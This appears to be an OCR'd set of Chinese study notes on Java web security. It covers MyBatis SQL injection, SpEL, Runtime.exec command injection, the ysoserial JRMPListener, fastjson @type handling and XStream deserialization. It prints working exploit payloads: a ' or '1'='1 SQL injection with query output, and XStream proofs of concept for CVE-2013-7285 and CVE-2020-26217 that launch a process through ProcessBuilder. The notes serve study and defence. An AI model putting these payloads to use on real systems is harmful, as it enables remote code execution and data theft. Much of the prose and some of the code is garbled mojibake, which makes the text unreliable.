FTLANLEFRFERERN AN SANE, #HaHIXEERIERR

o mybatis

REZEA, EZ2HIATEE
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el src

main
java
com.springboottest.testone

org
€ MybatisUtil
' test

¢ Userl

1. UserMapper

el src
main
> JEVE]
resources

static
templates

5 application.yml
& config.xml
<1 UserMapper.xml
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UMMV xmb > R F o Bl
Odper X 9%3@@ —— MS‘@VIUMa ,u@f&

N\

Usex o0 > BOTIIER

yA
<

|
| st v Mg
REERNEAIFNEBELUT (B—TFjunititestbAKlombok) , IS EA #{3 B




package org;

—Jimport org.apache.ibatis.session.SglSession;
. he. ibati 5 1 . ‘
apache.ibatis.session.SgqlSessionFactoryBuilder;
import java.io.InputStream;
Qimport org.junit.Test;

public class test {
@Test
public void testl() {
SglSession session=MybatisUtil.getSession();
UserMapper userMapper=session.getMapper(UserMapper.class);

Userl user‘l:user‘Mapper‘.getUser‘(m”chr‘is‘ or '"1'="1");
System.out.println("[+] Result” + userl.getAddress());

Created connection 1139700454.

Setting autocommit to false on JDBC Connection [com.mysqgl.cj.jdbc.ConnectionImpl@43ee72e6]
==> Preparing: select * from demo where name=?

==> Parameters: |chris' or '1'="1(String)

<== Total: @

Create breakpoint
<22 internal calls

SR ${} AR, BA)ER



package org;

Jimport org.apache.ibatis.session.SqlSession;
import he.ibati ion.SglSessionF
import org.apache.ibatis.session.SqlSessionFactoryBuilder;

Qimport org.junit.Test;

W 00 N ok W N

public class test {
@Test
public void testl() {
SqlSession session=MybatisUtil.getSession();

[ e e
w N R ®

UserMapper userMapper=session.getMapper(UserMapper.class);

B
v b

Userl user‘lzuser'Mapper‘.getUser(m”'chris' or "1'="1"");
System.out.println("[+] Result”™ + userl.getAddress());

i
o

Created connection 71587369.
Setting autocommit to false on JDBC Connection [com.mysql.cj.jdbc.ConnectionImpl@4445629]
==>__Preparing: select * from demo where name='chris' or '1'='1"
==> Parameters:
<== Columns: name, address

Row: chris, test

Row: chrisl, testl

Row: chrisl, testl

3

fEmybatisih #{} RERAELFF, BIsqiFmi®, ${} AFFFERER, Blsqifffiz, ALUSZH
BRIER B0 AR

s IRHIEIA: 1ike '%$00x3%" RENEXA, HFEFERT ${3 BIF/FEHE, B
BiENA Tike concat('%',#{xxx},'%")
s TEINGISHMEE: BAIBIERZIARTSELAIMNY, ENE9a0 order by &

SpELiEA

HARSPEL? Spring Expression LanguagefBfRSpEL, R—MINgEEARIFRANIES. BTz
TIEATNRENSRE - 2EE, SEE2

BSefEpom.xmli5|IXN
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<properties>
<org.springframework.version>5.0.8.RELEASE</org.springframework.version>

</properties>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactid>
<version>${org.springframework.version}</version>

</dependency>

Bt

1. SpEL API

ExpressionParser parser = new SpelExpressionParser();
Expression exp
String message

parser.parsegexpression(""'Hello world'");
(string) exp.getvalue();

2. SpEL &%

Sl FEADSS % #{car}

Sl H AL %)@t #{car.brand}

WHI T , e #{car.toString(}
JEIEAFRGI LT LA $

F e TOQIRBEF A LLRH 28E I A =
3. beaniENX

xml BN AR ERARER
xmlfcE

<bean id="numberGuess" class="org.spring.samples.NumberGuess">
<property name="randomNumber" value="#{ T(java.lang.Math).random() *

100.0 3}"/>
<!-- other properties -->
</bean>
(EQ:E!

public class Emailsender {
@value("${spring.mail.username}™)
private String mailUsername;
@value("#{ systemProperties['user.region'] }")
private String defaultLocale;

V/AXY
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XSS
SSRF

java R 3ZFA9ss

import sun.net.www.protocol]
Em file.

*
ftp.
ublic class D http.

import java.

public s EMJjar.

https.
mailto.

Clas
Cons

netdoc.
m.se

HttpClient.execute
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL .openStream

CSRF

XXE

XML

mSHAT
H—TECHRR, AT
SEVE]
SEVE2

P ELIE
RZElexecBE—T
244 string BIRHEEZIXIRL exec BB
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Process exec(String command, String[] envp, File dir)
IOException {
(command.length() == @) ¢

IllegalArgumentException("Empty command™);

StringTokenizer st = StringTokenizer(command);

String[] cmdarray = String[st.countTokens()];

¢ i = 0; st.hasMoreTokens(); i++)
cmdarray[i] = st.nextToken();
exec(cmdarray, envp, dir);

btringTokenizer(String str) {
(str, " \t\n\r\f",

KR \t\n\r\f fEiRD7eEe)R, AR exec

Process exec(String[] cmdarray, String[] envp, File dir)
IOException {
ProcessBuilder(cmdarray)

.environment(envp)

.directory(dir)
.start();

IRiHERE startQ

pubTlic Process start() throws IOException {
// Must convert to array first -- a malicious user-supplied
// Tist might try to circumvent the security check.
Sstring[] cmdarray = command.toArray(new String[command.size()]);
cmdarray = cmdarray.clone();

for (String arg : cmdarray)
if (arg == null)
throw new NullPointerException();
// Throws IndexoutOfBoundsException if command is empty
String prog = cmdarray[0];

SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkexec(prog);

String dir = directory == null ? null : directory.tostring(Q);
for (int i = 1; i < cmdarray.length; i++) {

if (cmdarray[i].indexof('\u0000') >= 0) {
throw new IOException("invalid null character in command");



try {
return ProcessImpl.start(cmdarray,

environment,

dir,

redirects,
redirectErrorStream);

} catch (IOException | ITlegalArgumentException e) {
String exceptionInfo = ": " + e.getMessage();
Throwable cause = e;
if ((e instanceof IOException) && security != null) {

// Can not disclose the fail reason for read-protected files.
try {

security.checkRead(prog);
} catch (SecurityException se) {

exceptionInfo = C
cause = se;

}

// It's much easier for us to create a high-quality error

// message than the Tow-Tevel C code which found the problem.
throw new IOException(

"Cannot run program \"" + prog + "\""

+ (dir == null ? "" : " (@in directory \"" + dir + "\')")
+ exceptioninfo,

cause);

EHFNE—NSHFEERITHIRER String prog = cmdarray[0]; &/GH1TE ProcessImpl FY
start

A & | FR/STBIRE, 2FJ9 execvp , MEHEBILAZE execvpiT /bin/bash , BERE
TEEINMFS (BENERD)

b ES

RRAIERA: Runtime.getRuntime.exec(cmd), cd/SEERSAI#E, JEbashiEin, BIE—TFE=/
=0

1. FRrERHE
cmd = "/bin/bash -c ping www.baidu.com "+var {E bash §9{&E R FFIFH
2. BERER

RF5IH

ysoserial
JRMP

java/ysoserial/payloads/JRMPListener

RAZUNT:
FREANT, —H9E, AN main RETHRERHMOT

package ysoserial.payloads;
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import

Vi
* Gadget chain:

* UnicastRemoteObject.readobject(ObjectInputStream) Tine: 235

UnicastRemoteObject.reexport() line: 266

* UnicastRemoteObject.exportObject(Remote, int) line: 320

* UnicastRemoteObject.exportobject(Remote, UnicastServerRef) line: 383
“ UnicastServerRef.exportObject(Remote, Object, boolean) line: 208

* LiveRef.exportobject(Target) Tine: 147

* TCPEndpoint.exportObject(Target) line: 411

* TCPTransport.exportObject(Target) line: 249

* TCPTransport.listen() line: 319

* Requires:
* - JavaSE

* Argument:

* - Port number to open listener to

*/
@suppresswarnings ( {

"restriction"

1)
@PayloadTest( skip = "This test would make you potentially vulnerable")
@Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements
ObjectPayload<UnicastRemoteObject> {

public UnicastRemoteObject getObject ( final String command ) throws
Exception {

int jrmpPort = Integer.parseInt(command);

UnicastRemoteObject uro =
Reflections.createwithConstructor(ActivationGroupImpl.class, RemoteObject.class,
new Class[] {

RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)

b;
Reflections.getField(UnicastRemoteObject.class, "port").set(uro,

jrmpPort) ;
return uro;

public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);

UnicastServerRef


af://n392

pubTic UnicastServerRef(int varl) {
super(new LiveRef(varl));
this.forceStubuse = false;
this.hashToMethod_Map = null;
this.methodCallIDCount = new AtomicInteger(0);
this.filter = null;

IR Liveref

pubTic LiveRef(int varl) {
this(new 0bjID(), varl);

PREFERIH objID

pubTic objID() {
/%
* If generating random object numbers, create a new UID to
* ensure uniqueness; otherwise, use a shared UID because
* sequential object numbers already ensure uniqueness.
*/
if (useRandomIDs()) {
space = new UID();
objNum = secureRandom.nextLong();
} else {
space = mySpace;
objNum = nextObjNum.getAndIncrement();

TSRO, FREX UID (RIEME—E, TR{ELS objNum, IREIZEEZRT Liveref

pubTlic LiveRef(0bjID varl, int var2) {
this(varl, TCPEndpoint.getLocalEndpoint(var2), true);

EiET, ic{Evar2ftERREport, Bki#H TcPEndpoint.getLocalEndpoint EBH

pubTlic static TCPEndpoint getLocalEndpoint(int var0) {
return getLocalEndpoint(var0, (RMIClientSocketFactory)null,
(RMIServersocketFactory)null);

}

pubTlic static TCPEndpoint getLocalEndpoint(int var0O, RMIClientSocketFactory
varl, RMIServerSocketFactory var2) {
TCPEndpoint var3 = null;
synchronized(localEndpoints) {
TCPEndpoint var5 = new TCPEndpoint((String)null, var0, varl, var2);
LinkedList var6e = (LinkedList)localEndpoints.get(var5);
String var7 = resampleLocalHost();
if (var6 == null) {
var3
varé = new LinkedList();

new TCPEndpoint(var7, var0, varl, var2);



var6.add(var3);

var3.listenPort = varQ;

var3.transport = new TCPTransport(vare6);

localEndpoints.put(var5, vare6);

if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {

TCPTransport.tcpLog.log(Log.BRIEF, "created local endpoint for
+ var2 + " on port " + var0Q);

1] n

socket factory
3
} else {
synchronized(var6) {
var3 = (TCPEndpoint)var6.getLast();
String var9 = var3.host;
int varl0 = var3.port;
TCPTransport varll = var3.transport;
if (var7 != null && !var7.equals(var9)) {
if (varl0o !'= 0) {
var6.clear();

var3 = new TCPEndpoint(var7, varlO, varl, var2);
var3.listenPort = var0;

var3.transport = varll;

var6.add(var3);

return var3;

Hr4EERME getLocalEndpoint

fastjson %l

ZRISBEWAE, EREENEE, —EREF java (HilR) . BARRHAHRT, BE2ERE
BE—E!

HEN ZANE
1.2.22-1.2.24

BAE— NRFFIMCRIES, MRRMEERT etype , EAZBERFIIALHER TR
B, A etype AILUSERFIINZIGHIRIR


af://n403
https://xz.aliyun.com/t/8979#toc-1
af://n408

) Eile Edit Vview Navigate Code Analyze Refactor Build Run Tools VCS Window Help
javaweb ) src ) main ) java ) day4 ! Demo

[ Projecy € T = £ — pom.xml (javaweb) ! Demo. java Student.java

Lpafkave day4;
1mport com.alibaba.fastjson.JSON;

P Project

t _com.alibaba.fastjson.seri
Aimport org.junit.Test;

aseqezeq (((1

Bl com.test
Bm day2
[« KEVE]
Bm day4
! Demo

public class Demo {

public static void main(String[] args){
// Student student = new Student();
// student.setName("chriskali");
// student.setAge(89);

Student .. . (L [ \ N
// SerializerFeature.WriteClassName, CHIR AR A I~ @type, typef]

> Emorg

- String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteCla

System.out.println(jsonstring);

> I resources
_ test();

> [l webapp
target

| javaweb.iml
pom.xml @Test

> [llll External Libraries 8 public static void test() {
%Scr‘atches and Consoles 9 String jsonString =

// System.out.println(JSON. parse(jsonstrlng)),
System.out.println(JSON.parseObject(jsonString));

Web =

> [lgWeb (in javaweb)

setAge
setName

Structure

setSex

getAge
getName
{"name":"chriskali","age":80}

M Favorites

Process finished with exit code @

@ Web

» Run = TODO © Problems Terminal @ Profiler A, Build @) Event Log
|0 Build completed successfully with 1 warning in 1 sec, 960 ms (moments ago) 24:1 CRLF UTF-8 4 spaces g %

Ef9 @type BUSTES, BT set, get WHITEEIRE
FAIE parseobject ShTHIAR, F7EEHE

pubTlic static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj :
(JSONObject)toISON(obj);
}

ERiH parse

pubTlic static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);

HREZERIH



pubTlic static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text,
Parserconfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;

newy— DefaultlSONParser IRt

pubTic DefaultJSONParser(String input, ParsercConfig config, int features) {
this(input, new JSONScanner(input, features), config);

HRETERIH

pubTic DefaultJSONParser(Object input, JSONLexer lexer, ParsercConfig config) {
this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
this.contextArrayIndex = 0;
this.resolveStatus = 0;
this.extraTypeProviders = null;
this.extraProcessors = null;
this.fieldTypeResolver = null;
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getcCurrent();
if (ch == '"{") {
lexer.next();

((IsONLexerBase) lexer) .token = 12;
} else if (ch == '"[") {

Texer.next();

((JsONLexerBase)lexer) .token = 14;

} else {
Texer.nextToken();

ArFrrERE { B2 [ 1Y, XBHAEN 12, £E

case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.orderedField));
return this.parseobject((Map)object, fieldName);

SAIGEFDefault)SONParser#parsef5i%, parsefsizdFEscanSymbolKEY @type I§ERIZE, AR
TypeUtils.loadClass A&k, FAiJERFEINEAIFREL



pubTic static Class<?> loadClass(String className, ClassLoader classLoader) {
// XBITENE Mmap B S
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz !'= null) {
return clazz;
} else if (className.charAt(0) == '"["') {
Class<?> componentType = loadClass(className.substring(l),
classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startswith("L") && className.endswith(";")) {
String newClassName = className.substring(l, className.length() -

1);
return loadClass(newClassName, classLoader);
} else {
try {
// ERIXEN#Eclass, uEmap
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
3

} catch (Throwable var6) {
var6.printStackTrace();

try {
ClassLoader contextClassLoader =
Thread.currentThread() .getContextClassLoader();
if (contextClassLoader !'= null) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
3
} catch (Throwable var5) {
3

try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;

} catch (Throwable var4) {
return clazz;

}
} else {
return null;

SARE VAT ObjectDeserializer.deserialize

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisobj = deserializer.deserialze(this, clazz, fieldName);
return thisobj;

getDeserializershAY R E Y getDeserializer



for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startswith(deny)) {
throw new JSONException("parser deny :

"

+ className);

Hehgg denylist 79

denyList = ["java.lang.Threa...'

» "java.lang.Threa..."]

W EURE T java.lang. Thread XN ERIRAT
EERHRE, BT —NMNE, SRR

FUFHE

Weblogic
XStream

EARINSRRRN, SR IRRAFAE & I, Midh - SR
Xstream BIEET & HESR

S
BFZTIEIcR)

e Xstream X4MEO

e AbstractDriver IR TE8(HierarchicalStreamReade) & fRE 22615
(HierarchicalStreamWriter)

¢ MarshallingStrategy ‘RBFNFFARIEAZOMED, ZOFE marshal & unmarshal
TreeUnmarshaller: (f#4EF2R:, JARmapperflConverteriEXMLEE{YpEjavaidis:, EmATstart/s
EFTIRREAE, convertAnotherJgiE Eclassi&{tpkjavaXds:


af://n433
af://n435
https://x-stream.github.io/security.html
af://n441
https://www.jianshu.com/p/387c568faf62
af://n458

TreeMarshaller: (4R4BIER:, JAmapperflConverteriBjavaXdSRE(LXML, BEEAIstartsik
Fria%RA, convertAnother5iEiBjavaldSiE{(L XML

e Mapper B53EE, XMLAEYelementNamei@idmapperREXXSRzclassXI5R

e ConverterLookup, mapperikZIXINZEf5, F3 lookupConverterForType ¥KBX Class RU4EHEES,
RISHA I BIRT SR

XM EREEAL, BREERERAT

MarshallingStrategy [ ] | [

ERFER

1. Mapper
BB — NMapperfgg2idfg

private Mapper buildMapper() {

Mapper mapper = new DefaultMapper(classLoaderReference);

if (usexStreamllxmlFriendlyMapper()) {

mapper = new XStreamllXmlFriendlyMapper(mapper);

}

mapper = new DynamicProxyMapper (mapper) ;

mapper = new PackageAliasingMapper(mapper);

mapper = new ClassAliasingMapper(mapper) ;

mapper = new FieldAliasingMapper(mapper);

mapper = new AttributeAliasingMapper(mapper);

mapper = new SystemAttributeAliasingMapper(mapper);

mapper = new ImplicitCollectionMapper(mapper);

mapper = new OutercClassMapper(mapper) ;

mapper = new ArrayMapper(mapper);

mapper = new DefaultImplementationsMapper(mapper);

mapper = new AttributeMapper(mapper, converterlLookup,
reflectionProvider);

if (AwM.is15Q) {

mapper = buildMapperbynamically(
"com. thoughtworks.xstream.mapper.EnumMapper", new Class[]
{Mapper.class},
new Object[]{mapper});

}
mapper = new LocalConversionMapper(mapper);
mapper = new ImmutableTypesMapper (mapper);
if (AwM.is150) {
mapper = buildMapperbynamically (ANNOTATION_MAPPER_TYPE, new Class[]{
Mapper.class, ConverterRegistry.class, ConverterLookup.class,



af://n503

ClassLoaderReference.class, ReflectionProvider.class}, new

Object[]1{
mapper, converterLookup, converterLookup, classLoaderReference,

reflectionProvider});
}
mapper = wrapMapper ((Mapperwrapper)mapper) ;
mapper = new CachingMapper(mapper);
return mapper;

BEHLE—, %0 DynamicProxyMapper

MapperWrapper

DynamicProxyMapper

2. converter ZEipE8
2.1, i ERRER Y

protected void setupConverters() {
registerconverter(
new ReflectionConverter(mapper, reflectionProvider),

PRIORITY_VERY_LOW) ;

registercConverter(
new SerializableConverter(mapper, reflectionProvider,
classLoaderrReference), PRIORITY_LOW);
registerconverter(new ExternalizableConverter(mapper,
classLoaderReference), PRIORITY_LOW);

registerconverter(new NullConverter(), PRIORITY_VERY_HIGH);
registerconverter(new IntConverter(), PRIORITY_NORMAL);
registerconverter(new FloatConverter(), PRIORITY_NORMAL);

SERR converter FHRIRTEMLASR
2.2. &¥kConverter

3. hierarchicalStreamDriver
DRRET

HierarchicalStreamwriter createwriter(Writer out);
HierarchicalStreamReader createReader(Reader 1in);

INEZERFRET.



xstream SCILRIE

1. \\Stringsh3kEY, &M StringReader FUEZFKEN hierarchicalStreamDriver f#HfragRiEImXAN
string, TEEEUTHS

public oObject fromxML(String xml1) {
return fromxML(new StringReader(xml));

public Object fromxML(Reader reader) {
return unmarshalChierarchicalStreambriver.createReader(reader), null);

---unmarlshal---

public Object unmarshal(HierarchicalStreamrReader reader, Object root) {
return unmarshal(reader, root, null);

public Object unmarshal(HierarchicalStreamrReader reader, Object root,
DataHolder dataHolder) {
try {
return marshallingStrategy.unmarshal(
root, reader, dataHolder, converterLookup, mapper);

} catch (ConversionException e) {
Package pkg = getcClass().getPackage();

String version = pkg != null ? pkg.getImplementationversion()
null;
e.add("version", version != null ? version : "not available');
throw e;
}
3

2. BliEH TreeUnmarshalleri# {747, J@Hstart

public Object unmarshal(Object root, HierarchicalStreamReader reader,
DataHolder dataHolder, ConverterLookup converterLookup, Mapper mapper) {
TreeUnmarshaller context = createUnmarshallingContext(root, reader,
converterLookup, mapper);
return context.start(dataHolder);

3. startpRZg


af://n565

public Object start(DataHolder dataHolder) {

this.dataHolder = dataHolder;

Class type = HierarchicalStreams.readClassType(reader, mapper);

Object result = convertAnother(null, type);

Iterator validations = validationList.iterator();

while (validations.hasNext()) {
Runnable runnable = (Runnable)validations.next();
runnable.run();

}

return result;

4. IRHEclassName M mappersikZEIxTRAYclass

public static Class readClassType(HierarchicalStreamReader reader, Mapper

mapper) {
String classAttribute = readClassAttribute(reader, mapper);
Class type;

if (classAttribute == null) {

type = mapper.realClass(reader.getNodeName());
} else {

type = mapper.realClass(classAttribute);
}

return type;

I{E—tEfEreadClassiEA, 1RIELEZEFH CachingMapper FRRULSCLRITAFILED
5. IERIKIZE mapper 89 class #1279 java Object X35

Object result = convertAnother(null, type);

HEREEA T lookupConverterForType, REIRSRIAVEEHRES, SARMITIEHR, FIU0 FEOHT
FYCVE-2013-72857, FRENEINIRZAYconverterfg, BiExLE#HTunmarshal, 1RiE
elementName(xmIdfclass—3Ihz), tNERelementNameXFiz mapper Y alias , IREIRGNL
B9 converter

java.lang.reflect.InvocationHandler java.lang.reflect.Proxy.h

CVE-2013-7285

SNBE NF 1.4.6, B..1.4.10 18BBH security framwork(X...

EIREAIELE— 1 demo
package org.company;

import com.thoughtworks.xstream.XStream;
import org.company.model.Contact;

public class Poc {
public static void main(string[] args) {
XStream xstream = new XStream();
String xml = "<contact class='dynamic-proxy'>\n" +
" <interface>org.company.model.Contact</interface>\n" +
<handler class='java.beans.EventHandler'>\n" +

"


af://n563

<target class='java.lang.ProcessBuilder'>\n" +
<command>\n" +
<string>calc.exe</string>\n" +
</command>\n" +
</target>\n" +
<action>start</action>\n" +
</handler>\n" +
</contact>";
contact contact = (Contact)xstream.fromxmL(xml);
contact.Test();

"
"
"
"

Contacti—Nnterface, VAT ZInterface FRUEE S ABIAT A
FEE AT R Y, H—TFEmM. #A unmarhsal f#tfE3k5E— proxy

"com.sun.proxy.$ProxyB@ec756bd"

target =

command =

directory = null

environment = null
redirectErrorStream = false
redirects = null
action = g
value =
hash = 189757538
eventPropertyName = null
%) listenerMethodName = null
acc = null

> 00 classLoaderReference =

LERTHOVE AR HERE

unmarshal:134, DynamicProxyConverter (com.thoughtworks.xstream.conver

unmarshalffvaluesiX/™MHashMap & SEEFTHISE( R Z BIRAZinputid=k)

this =
pathTracker =
isNameEncoding = true
values = {HashMap@94©} size = 6
"/contact/handler"”
"/contact"” "com.sun.proxy.$Proxye@ec756bd"

"/contact/handler/action" "start”

"/contact/handler/target"”

"/contact/handler/target/command"

"/contact/handler/target/command/string"



BEIRE/ contactii 2— M e IE

contact = {$Proxye@ll162} "com.sun.proxy.$Proxye@ec756bd"
h =
target =

command =
© = "calc.exe"

directory = null

environment = null

redirectErrorStream = false

redirects = null

action = "start"

value = [s, t, a, r, t]

hash = 189757538

eventPropertyName = null

listenerMethodName = null

X
acc = null

88 ZRFEidiET EventHandler

CVE-2020-26217

BB E version <= 1.4.13

BAfA: The processed stream at unmarshalling time contains type information to
recreate the formerly written objects. XStream creates therefore new instances based on
these type information. An attacker can manipulate the processed input stream and
replace or inject objects, that can execute arbitrary shell commands.

This issue is a variation of CVE-2013-7285, this time using a different set of classes of the
Java runtime environment, none of which is part of the XStream default blacklist. The same
issue has already been reported for Strut's XStream plugin in CVE-2017-9805, but the
XStream project has never been informed about it.

SENTNE - R, Z1E

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value
class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource
class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class="javax.swing.MultiuIDefaults$MultiuIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr's>
<cursor>0</cursor>
<TastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>


af://n682
https://xz.aliyun.com/t/8694?page=1

</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class="'javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class="'java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>



FAIJEIZTE ProcessBuilder Y start() T, WMEREBNERAMERK
start:1087, ProcessBuilder (java.lang)

BRI, FERHEST—T.
BISERACIEE—T xm| 2aaRF map AU AbIRRT



com.thoughtworks.xstream.XStream;

java.util.HashMap;

java.util. g

Person {
String name;
age;
Person(String name,
.age = age;

.Name = name,

main(String[] args) {
HashMap () ;
_ ) Person( "name", 100), "test");
XStream xstream = xstream()ﬂ
String xml = xstream.toXML(map);
System.out.println(xml);

HREAIXmIZNT

<map>
<entry>
<Person>
<name>name</name>
<age>100</age>
</Person>
<string>test</string>
</entry>
</map>

BBAFA JBeEIRME POC I : fEA—1map, fthAkey)s
jdk.nashorn.internal.objects.Nativestring X5, HWXHA flags (&F0) 1 value (9

com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data A B

atraks
HA BRI key HESIRIEFRADH
B5E, % put BUEHR, SSTHKENLETkeyhash, KA

V put(K key, V value) {
putval(hash(key), key, value,



af://n714

hash(Object key) {

) ? @ : (h = key.hashCode()) ~ (h >>> 16);

250 key A jdk.nashorn.internal.objects.Nativestring, F2YEMAE hashCode 5i%

hashCode() {
.getStringvalue().hashCode();

String getStringvalue() {
.value String ? (String) .value : .value.toString();

ItATEvalueFtEEpocHiZERY
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data #4EIRY] Base64Datab [y
toString

String toString() {
-get();
DatatypeConverterImpl. printBase64Binary( .data, 9, .datalen);

[1 get() {

.data == ) {

{

ByteArrayOutputStreamEx baos = ByteArrayOutputStreamEx( 1824);
InputStream is = .dataHandler.getDataSource().getInputStream();
baos.readFrom(is);

is.close();
.data = baos.getBuffer();

.datalen = baos.size();
(IOException var3) {
.datalLen = @;

VAR get 53K, £ InputStream IX—1T, B cieEZ|dataHandler 7
Datasource(com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlIDataSource), BJA poc &Ry
REE, XEEA—MBR, AT datasource ™RY InputStream 757X, AR is BHHE, &
POCHSHEIRTEN java.io.SequenceInputStream, FEF ByteArrayoutputStreamex HY
readFrom 753%




readFrom(InputStream is) IOException {
PRt
.count == .buf.length) {
[] data = [ .buf.length * 2];
System.arraycopy( .buf, @, data, 9, .buf.length);
.buf = data;

sz = is.read( .buf, .count, .buf.length - .count);
(sz < @) {

-

.count += sz;

) o
NullPointerException();
(off <@ || len < @ || len > b.length - off) {
IndexOutOfBoundsException();
(len == @) {

.read(b, off, len);
{

n;

nextStream();
(in != )s
_1;

nextStream() IOException {
(in != ) A

in.close();

(e.hasMoreElements()) {
in = (InputStream) e.nextElement();
(in == )
NullPointerException();

A nextstream() BIARE e.nextelement() , HH e FYEATE, HIEAUENRY
(javax.swing.MultiuIDefaults$MultiuIDefaultsEnumerator ), BRASCERERRIG AIZENTT
%, IR




Object nextElement() {
(type) {
KEYS: iterator.next().getKey();
ELEMENTS: iterator.next().getvalue();

POCH% iterator (RIFR)IRTEAN javax.imageio.spi.FilterIterator , JEFAEnext(iEd

T next() {
(next == ) {
NoSuchElementException();
¥
T o = next;
advance();

0;

advance() {
(iter.hasNext()) {
T elt = iter.next();
(filter.filter(elt)) {
next = elt;

iter AR filter BJ#2, YA filter fY filter J3i%, BPAEXERBIFHER T, XM
filter 75i%, RARSHEMTHS. XEEARY elt 79 ProcessBuilder, T filter 79
javax.imageio.ImageIo$ContainsFilter, EHMFfY filter RES

filter(Object elt) {

contains((String[])method.invoke(elt), name);

(Exception e) {

.
k)

elt BDANINMENRY ProcessBuilder , RGRITEBHIITHES.
DIMIEARE, BRMRFTFXENST 2 izEER. . .



	Java 安全手动实践
	Java基础
	遗留问题
	作业
	RMI & JRMP & JNDI
	RMI
	基础部分
	bind方式
	bind&lookup流程
	本地 bind
	lookup
	远程 bind

	攻击方法
	DGC

	JRMP
	基础部分
	从 ysoserial 出发

	JNDI
	JEP290
	绕过

	代码 demo 部分
	打法

	语法基础
	<T> 和 <?>

	动态代理
	JDK 动态代理

	类加载器 - ClassLoader
	Java 编译
	Servlet
	jsp
	Filter
	其他

	常见漏洞
	SQL注入
	SpEL注入
	基础使用

	XSS
	SSRF
	CSRF
	XXE
	XML
	命令执行
	分割过程
	分类


	反序列化
	ysoserial
	JRMP
	UnicastServerRef


	fastjson 系列
	1.2.22 - 1.2.24


	Weblogic
	XStream
	Xstream 前置基础 & 框架
	总体设计(搬运记录)
	重点详解
	xstream 实现流程

	CVE-2013-7285
	CVE-2020-26217
	分析部分




